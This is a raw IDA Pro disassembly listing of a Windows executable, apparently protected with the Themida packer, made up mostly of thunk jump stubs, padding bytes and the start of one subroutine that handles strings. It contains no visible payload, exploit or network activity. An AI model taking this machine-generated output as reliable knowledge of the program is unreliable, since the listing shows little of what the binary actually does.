		jmp	sub_416360
sub_401EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EFB	proc near		; CODE XREF: sub_4152F0+3p
					; ___:00415A4Fp ...
		jmp	sub_415D00
sub_401EFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F00	proc near
		jmp	sub_412C10
sub_401F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F05	proc near		; CODE XREF: sub_413120+4Dp
		jmp	sub_415370
sub_401F05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F0A	proc near		; CODE XREF: sub_4070F0+5Cp
					; sub_418E60+3p
		jmp	sub_407310
sub_401F0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F0F	proc near		; CODE XREF: ___:00419103p
		jmp	sub_419170
sub_401F0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F14	proc near		; CODE XREF: ___:0040BF1Ap
		jmp	sub_40C250
sub_401F14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F19	proc near		; CODE XREF: ___:0042B15Fp
		jmp	sub_42ADB0
sub_401F19	endp

; ---------------------------------------------------------------------------


loc_401F1E:				; DATA XREF: ___:off_43E08Co
		jmp	loc_4348A0
; ---------------------------------------------------------------------------


loc_401F23:				; DATA XREF: ___:004240B4o
		jmp	loc_423C10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F28	proc near		; CODE XREF: ___:00416A6Bp
					; ___:00439F50j ...
		jmp	sub_417A40
sub_401F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F2D	proc near		; CODE XREF: sub_413B70+99p
		jmp	sub_413D40
sub_401F2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F32	proc near		; CODE XREF: sub_40B390+3Dp
					; ___:0040BB2Dp ...
		jmp	sub_40B700
sub_401F32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F37	proc near		; CODE XREF: ___:loc_423CA7p
		jmp	sub_423720
sub_401F37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F3C	proc near		; CODE XREF: sub_404C70+A3Ep
		jmp	sub_406890
sub_401F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F41	proc near		; DATA XREF: ___:off_43E1A0o
		jmp	sub_42B350
sub_401F41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F46	proc near		; CODE XREF: sub_4139B0+72p
		jmp	sub_413670
sub_401F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F4B	proc near		; CODE XREF: sub_418330+5Fp
					; sub_418940+1Ap ...
		jmp	sub_4189B0
sub_401F4B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EFA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F55	proc near		; CODE XREF: sub_42E400+B5p
		jmp	sub_42D2C0
sub_401F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5A	proc near		; CODE XREF: sub_40B520+4Bp
					; sub_40B520:loc_40B5ABp ...
		jmp	sub_40BE40
sub_401F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F5F	proc near
		jmp	sub_41E400
sub_401F5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F64	proc near		; CODE XREF: sub_40A430+142p
		jmp	sub_40A810
sub_401F64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F69	proc near		; CODE XREF: sub_404640+35Dp
					; sub_404640+39Ep
		jmp	sub_404B10
sub_401F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F6E	proc near		; CODE XREF: sub_415DD0+9p
					; sub_415E70+18p
		jmp	sub_4166D0
sub_401F6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F73	proc near		; CODE XREF: sub_431B30+1Bp
		jmp	sub_431BE0
sub_401F73	endp

; ---------------------------------------------------------------------------
		jmp	loc_42AFD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F7D	proc near		; CODE XREF: sub_426450+1Dp
					; sub_4269A0+1Dp ...
		jmp	sub_4264C0
sub_401F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F82	proc near		; CODE XREF: sub_427DC0+1Dp
					; sub_428160+1Fp ...
		jmp	sub_427E30
sub_401F82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F87	proc near		; CODE XREF: ___:00429D73p
		jmp	sub_429DA0
sub_401F87	endp

; ---------------------------------------------------------------------------
		jmp	loc_406BD0
; ---------------------------------------------------------------------------
		jmp	loc_40D460

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F96	proc near		; CODE XREF: sub_409600+112p
					; sub_409600+153p
		jmp	sub_409940
sub_401F96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F9B	proc near		; CODE XREF: sub_422600+5p
		jmp	sub_422770
sub_401F9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA0	proc near		; CODE XREF: sub_407340+5p
		jmp	sub_4074F0
sub_401FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA5	proc near		; CODE XREF: sub_413670+6Fp
					; sub_413670+DBp ...
		jmp	sub_4152F0
sub_401FA5	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B830

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FAF	proc near		; CODE XREF: sub_415210+5Ep
					; sub_415BE0+32p
		jmp	sub_415B20
sub_401FAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB4	proc near
		jmp	sub_40F030
sub_401FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB9	proc near		; CODE XREF: sub_412B20+3p
		jmp	sub_412B50
sub_401FB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FBE	proc near		; CODE XREF: sub_404640+48p
					; sub_404640+5Dp ...
		jmp	sub_409D20
sub_401FBE	endp

; ---------------------------------------------------------------------------
		jmp	loc_419950

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FC8	proc near		; CODE XREF: sub_41A0E0+3p
					; sub_41B040+9j ...
		jmp	sub_41A110
sub_401FC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FCD	proc near		; CODE XREF: sub_40BCB0+34p
					; ___:0040C187p
		jmp	sub_40C040
sub_401FCD	endp

; ---------------------------------------------------------------------------
		jmp	loc_432690
; ---------------------------------------------------------------------------


loc_401FD7:				; DATA XREF: ___:off_43E094o
		jmp	loc_435280

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FDC	proc near
		jmp	sub_40F0B0
sub_401FDC	endp

; ---------------------------------------------------------------------------
		jmp	loc_436300
; ---------------------------------------------------------------------------


loc_401FE6:				; DATA XREF: ___:0043E03Co
		jmp	loc_41EDB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FEB	proc near		; CODE XREF: sub_41F860+5Ap
		jmp	sub_41FF40
sub_401FEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_430380

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FF5	proc near		; CODE XREF: ___:00416A2Bp
					; ___:00439F88j ...
		jmp	sub_417B00
sub_401FF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FFA	proc near		; CODE XREF: ___:00416D7Fp
		jmp	sub_413120
sub_401FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FFF	proc near		; CODE XREF: sub_421A80+5p
		jmp	sub_421F80
sub_401FFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402004	proc near		; CODE XREF: ___:00421654p
		jmp	sub_41BFA0
sub_402004	endp

; ---------------------------------------------------------------------------
off_402009	dd offset byte_4BC2E9	; DATA XREF: ___:off_43E008o
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40200E	proc near		; CODE XREF: sub_404640+2CEp
					; sub_404C70+472p ...
		jmp	sub_40A670
sub_40200E	endp

; ---------------------------------------------------------------------------
		jmp	loc_433120
; ---------------------------------------------------------------------------
		jmp	loc_41B3D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40201D	proc near		; CODE XREF: sub_422370+Ap
		jmp	sub_422650
sub_40201D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402022	proc near		; CODE XREF: sub_404C70+7EAp
		jmp	sub_41B950
sub_402022	endp

; ---------------------------------------------------------------------------


loc_402027:				; DATA XREF: ___:off_43E014o
		jmp	loc_40ADE0
; ---------------------------------------------------------------------------


loc_40202C:				; DATA XREF: ___:off_43E088o
		jmp	loc_42BE60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402031	proc near		; CODE XREF: ___:0040ADE3p
					; sub_40FDA0+13Ep ...
		jmp	sub_40AE10
sub_402031	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402036	proc near		; CODE XREF: sub_424840+109p
					; sub_424840+178p ...
		jmp	sub_424720
sub_402036	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40203B	proc near		; CODE XREF: sub_4098E0+7p
		jmp	sub_4099D0
sub_40203B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402040	proc near		; CODE XREF: sub_416660+Ap
		jmp	sub_416870
sub_402040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402045	proc near
		jmp	sub_40CB10
sub_402045	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204A	proc near		; CODE XREF: ___:0042EEEBp
					; sub_42FDD0+EAp
		jmp	sub_433030
sub_40204A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204F	proc near		; CODE XREF: sub_421960+5p
					; sub_421A50+6p ...
		jmp	sub_421EF0
sub_40204F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402054	proc near		; CODE XREF: sub_40FF60+8ADp
					; sub_40FF60+95Ep ...
		jmp	sub_411990
sub_402054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402059	proc near		; CODE XREF: sub_40C040+7p
		jmp	sub_40C230
sub_402059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40205E	proc near		; CODE XREF: sub_418940+34p
					; sub_418E90+67p
		jmp	sub_418CA0
sub_40205E	endp

; ---------------------------------------------------------------------------
		jmp	loc_409B10
; ---------------------------------------------------------------------------


loc_402068:				; DATA XREF: ___:off_43E13Co
		jmp	sub_427FC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40206D	proc near		; CODE XREF: sub_417020+2Bp
					; sub_417020+3Bp ...
		jmp	sub_403EE0
sub_40206D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402072	proc near		; CODE XREF: sub_4097D0+14p
		jmp	sub_409830
sub_402072	endp

; ---------------------------------------------------------------------------
		jmp	loc_431FD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40207C	proc near		; CODE XREF: sub_427AD0:loc_427CDBp
		jmp	sub_4279F0
sub_40207C	endp

; ---------------------------------------------------------------------------
		jmp	sub_426650

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402086	proc near		; CODE XREF: sub_418330+4Dp
		jmp	sub_418A70
sub_402086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40208B	proc near		; CODE XREF: sub_415160+5p
					; sub_415310+6p ...
		jmp	sub_415CE0
sub_40208B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402090	proc near		; CODE XREF: sub_426650+3p
		jmp	sub_426680
sub_402090	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B0F0
; ---------------------------------------------------------------------------
		jmp	loc_421620

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40209F	proc near		; CODE XREF: ___:00416D4Fp
		jmp	sub_407030
sub_40209F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A4	proc near		; CODE XREF: sub_413670+83p
					; sub_4144D0+91p ...
		jmp	sub_415310
sub_4020A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A9	proc near		; DATA XREF: ___:0043E054o
		jmp	sub_41EF30
sub_4020A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020AE	proc near		; CODE XREF: sub_40A9F0+144p
		jmp	sub_40AD00
sub_4020AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020B3	proc near		; CODE XREF: sub_42FF50+BAp
					; sub_432980+36p
		jmp	sub_4329F0
sub_4020B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020B8	proc near		; CODE XREF: sub_421DF0+23p
					; sub_422240+11p
		jmp	sub_4223E0
sub_4020B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020BD	proc near		; CODE XREF: sub_4220E0+4p
		jmp	sub_4224F0
sub_4020BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C2	proc near		; CODE XREF: sub_42A810+3BBp
		jmp	sub_42A440
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C7	proc near		; CODE XREF: ___:0041A212p
		jmp	sub_41A2B0
sub_4020C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020CC	proc near		; CODE XREF: sub_416760+Ap
		jmp	sub_4168C0
sub_4020CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D1	proc near		; DATA XREF: ___:off_43E18Co
		jmp	sub_42B2D0
sub_4020D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020D6	proc near		; CODE XREF: sub_415C70+4p
		jmp	sub_416490
sub_4020D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020DB	proc near		; CODE XREF: ___:0042F4B6p
					; ___:0042F518p ...
		jmp	sub_4337E0
sub_4020DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E0	proc near		; CODE XREF: sub_418D20+8p
		jmp	sub_418FC0
sub_4020E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E5	proc near		; CODE XREF: sub_418890+34p
					; sub_418D80+67p
		jmp	sub_418BA0
sub_4020E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EA	proc near		; CODE XREF: sub_41A6D0+117p
		jmp	sub_41A860
sub_4020EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EF	proc near		; CODE XREF: sub_415AA0+35p
		jmp	sub_416570
sub_4020EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020F4	proc near		; CODE XREF: sub_404C70+45Cp
					; sub_4066E0+43p ...
		jmp	sub_409BC0
sub_4020F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020F9	proc near		; CODE XREF: sub_40BD20+5p
					; sub_40BE60+6p ...
		jmp	sub_40C060
sub_4020F9	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F5B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402103	proc near		; CODE XREF: ___:00416E7Ap
		jmp	sub_4190B0
sub_402103	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402108	proc near		; CODE XREF: ___:00429A33p
		jmp	sub_429A60
sub_402108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40210D	proc near		; CODE XREF: sub_40FF60+F3Dp
					; sub_40FF60+1392p ...
		jmp	sub_4147D0
sub_40210D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402112	proc near		; CODE XREF: sub_4139B0+38p
					; sub_413DA0+5Fp
		jmp	sub_413510
sub_402112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402117	proc near		; CODE XREF: sub_40A130+14p
					; sub_40A160+7p ...
		jmp	sub_40A180
sub_402117	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40211C	proc near		; CODE XREF: sub_42A150+157p
		jmp	sub_429D00
sub_40211C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402121	proc near		; CODE XREF: sub_40ABE0+1Ap
					; sub_40AC30+1Ap
		jmp	sub_40ACA0
sub_402121	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402126	proc near		; CODE XREF: sub_415600+3p
					; ___:00415E1Fp ...
		jmp	sub_416050
sub_402126	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40212B	proc near		; DATA XREF: ___:0043E02Co
		jmp	sub_40FF60
sub_40212B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402130	proc near		; CODE XREF: sub_4147D0+EDp
		jmp	sub_415830
sub_402130	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B390

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213A	proc near		; CODE XREF: sub_40BE20+3p
		jmp	sub_40C0A0
sub_40213A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213F	proc near		; CODE XREF: sub_40BEC0+11p
					; ___:0040BEE7p ...
		jmp	sub_40C1E0
sub_40213F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402144	proc near		; CODE XREF: sub_41E660+2C5p
		jmp	sub_4207E0
sub_402144	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402149	proc near		; CODE XREF: sub_41D830+652p
		jmp	sub_41C070
sub_402149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40214E	proc near		; CODE XREF: sub_418BC0+32p
		jmp	sub_418E90
sub_40214E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402153	proc near		; CODE XREF: sub_40EC30+ACp
					; ___:0040F35Dp
		jmp	sub_40ED70
sub_402153	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402158	proc near		; CODE XREF: sub_4137E0+93p
		jmp	sub_433A20
sub_402158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40215D	proc near		; CODE XREF: sub_4151D0+1Fp
					; sub_415AA0+2Cp
		jmp	sub_415A00
sub_40215D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402162	proc near		; CODE XREF: ___:0042541Dp
		jmp	sub_4253E0
sub_402162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402167	proc near		; CODE XREF: sub_420530+17Dp
		jmp	sub_4219D0
sub_402167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40216C	proc near		; CODE XREF: ___:0042C261p
		jmp	sub_42A090
sub_40216C	endp

; ---------------------------------------------------------------------------


loc_402171:				; DATA XREF: ___:off_43E010o
		jmp	loc_409B10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402176	proc near		; CODE XREF: sub_40A9F0+6Ap
					; sub_40A9F0+103p
		jmp	sub_40AC30
sub_402176	endp

; ---------------------------------------------------------------------------
		jmp	loc_426620
; ---------------------------------------------------------------------------
		jmp	loc_41AC00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402185	proc near		; CODE XREF: sub_407220+16p
					; sub_407260+Bp ...
		jmp	sub_4074C0
sub_402185	endp

; ---------------------------------------------------------------------------
		jmp	loc_416CE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40218F	proc near		; CODE XREF: sub_40B000+1Bp
		jmp	sub_432AD0
sub_40218F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402194	proc near		; CODE XREF: ___:00415A5Ap
		jmp	sub_4164E0
sub_402194	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402199	proc near		; CODE XREF: sub_42F6B0+ABp
					; sub_430690+1Bp ...
		jmp	sub_430700
sub_402199	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EA90

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021A3	proc near		; CODE XREF: ___:004086AAp
					; ___:004086CFp ...
		jmp	sub_4198C0
sub_4021A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021A8	proc near		; DATA XREF: ___:0043E130o
					; ___:0043E140o ...
		jmp	sub_42C710
sub_4021A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021AD	proc near		; CODE XREF: sub_40B520+55p
		jmp	sub_409FD0
sub_4021AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B2	proc near		; DATA XREF: ___:off_43E14Co
		jmp	sub_428220
sub_4021B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B7	proc near		; CODE XREF: sub_421AF0+34p
					; sub_422410+67p
		jmp	sub_422130
sub_4021B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021BC	proc near		; CODE XREF: sub_4070F0+2Cp
					; sub_4070F0+68p ...
		jmp	sub_407260
sub_4021BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_4333F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021C6	proc near		; CODE XREF: sub_41C610+1B3p
					; sub_41C610+332p ...
		jmp	sub_41D670
sub_4021C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021CB	proc near		; CODE XREF: sub_40BC70+11p
					; sub_40BEC0+1Fp
		jmp	sub_40BFF0
sub_4021CB	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F5F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D5	proc near		; CODE XREF: sub_4245F0+1Ap
					; sub_4246D0+1Bp ...
		jmp	sub_424420
sub_4021D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021DA	proc near		; CODE XREF: ___:004169BBp
		jmp	sub_418940
sub_4021DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DF	proc near
		jmp	sub_42BB70
sub_4021DF	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EC80
; ---------------------------------------------------------------------------
		jmp	loc_42EE10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021EE	proc near		; CODE XREF: sub_433160+1Bp
		jmp	sub_4331D0
sub_4021EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F3	proc near		; CODE XREF: sub_42E400+101p
		jmp	sub_42DD50
sub_4021F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F8	proc near		; DATA XREF: ___:off_43E00Co
		jmp	sub_4071C0
sub_4021F8	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E2D0
; ---------------------------------------------------------------------------
		jmp	locret_418840

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402207	proc near		; CODE XREF: sub_4036D0+25p
					; sub_4036D0+35p ...
		jmp	sub_403C90
sub_402207	endp

; ---------------------------------------------------------------------------
		jmp	loc_433100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402211	proc near		; CODE XREF: sub_418330+88p
					; sub_418330+98p
		jmp	sub_418A90
sub_402211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402216	proc near		; CODE XREF: ___:00416ABBp
					; ___:00439F0Aj ...
		jmp	sub_417770
sub_402216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40221B	proc near		; CODE XREF: sub_418AE0+5p
		jmp	sub_418D50
sub_40221B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402220	proc near		; CODE XREF: sub_414640+3p
					; DATA XREF: sub_60F2EB+10r ...
		jmp	sub_414670
sub_402220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402225	proc near		; CODE XREF: ___:0042F2FBp
					; ___:0042FC27p ...
		jmp	sub_430AD0
sub_402225	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222A	proc near		; DATA XREF: ___:off_43E11Co
		jmp	sub_427600
sub_40222A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222F	proc near		; CODE XREF: sub_42F840+102p
					; sub_431730+5Dp ...
		jmp	sub_430810
sub_40222F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402234	proc near		; CODE XREF: sub_413510+5Cp
					; sub_413510+C0p ...
		jmp	sub_415460
sub_402234	endp

; ---------------------------------------------------------------------------
		jmp	loc_431410
; ---------------------------------------------------------------------------
		jmp	loc_42F170

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402243	proc near		; CODE XREF: sub_41D830+203p
		jmp	sub_42D0D0
sub_402243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402248	proc near		; CODE XREF: sub_42E400+148p
					; sub_42E400+173p
		jmp	sub_42DC70
sub_402248	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E1A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402252	proc near		; CODE XREF: sub_4133D0+34p
					; sub_4147D0+40p
		jmp	sub_4158F0
sub_402252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402257	proc near		; CODE XREF: sub_40CBB0+1A4p
					; sub_40CF60+ADp
		jmp	sub_40CF60
sub_402257	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E220

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402261	proc near		; CODE XREF: sub_422A40+938p
		jmp	loc_423FA0
sub_402261	endp

; ---------------------------------------------------------------------------
		jmp	loc_419A90
; ---------------------------------------------------------------------------


loc_40226B:				; CODE XREF: ___:00438CE6j
		jmp	loc_40CEE0
; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
dword_4022A0	dd 0CCCCCCCCh			db 53h dup(0CCh)
dword_4022F7	dd 0CCCCCCCCh						; sub_60F2EB+29r
		db 1D6h	dup(0CCh)
byte_4024D1	db 0CCh			; DATA XREF: sub_60F4D2+8w
					; sub_60F4D2+37r
		db 0F57h dup(0CCh)
byte_403429	db 0CCh			; DATA XREF: Themida_:0060F6E5r
					; Themida_:loc_60F6FFr	...
byte_40342A	db 0CCh			; DATA XREF: Themida_:0060F731r
					; Themida_:loc_60F74Cr	...
byte_40342B	db 0CCh			; DATA XREF: Themida_:0060F68Fr
					; Themida_:0060F698r ...
		db 3 dup(0CCh)
byte_40342F	db 0CCh			; DATA XREF: Themida_:0060F681r
					; Themida_:0060F6A2r ...
byte_403430	db 0CCh			; DATA XREF: Themida_:0060F8C7r
					; sub_60FF96+73w ...
dword_403431	dd 0CCCCCCCCh						; sub_60E129+BEr ...
byte_403435	db 7 dup(0CCh)		; DATA XREF: sub_60E129+3Fr
dword_40343C	dd 0CCCCCCCCh						; Themida_:loc_60F53Cr	...
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4034E0	proc near		; CODE XREF: sub_4019B5j

var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_450		= byte ptr -450h
var_438		= byte ptr -438h
var_420		= byte ptr -420h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_4034E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 460h
		mov	eax, [esp+46Ch+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+478h+var_408], eax
		mov	eax, [esp+478h+arg_8]
		xor	edi, edi
		mov	esi, 1
		cmp	eax, edi
		mov	[esp+478h+var_46C], edi
		jz	short loc_403539
		lea	edx, [esp+478h+arg_8]
		lea	ecx, [esp+478h+var_404]


loc_40352A:				; CODE XREF: sub_4034E0+57j
		add	edx, 4
		mov	[ecx], eax
		inc	esi
		add	ecx, 4
		mov	eax, [edx]
		cmp	eax, edi
		jnz	short loc_40352A


loc_403539:				; CODE XREF: sub_4034E0+3Dj
		lea	ecx, [esp+478h+var_468]
		mov	[esp+esi*4+478h+var_408], edi
		call	sub_401424
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+47Ch+var_438]
		mov	[esp+47Ch+var_4], 1
		call	sub_401861
		push	offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
		lea	ecx, [esp+47Ch+var_468]
		mov	byte ptr [esp+47Ch+var_4], 2


loc_403570:				; DATA XREF: sub_60E129:loc_60E312r
		call	sub_401A87
		push	offset byte_446F70
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401861
		mov	byte ptr [esp+478h+var_4], 3
		xor	esi, esi
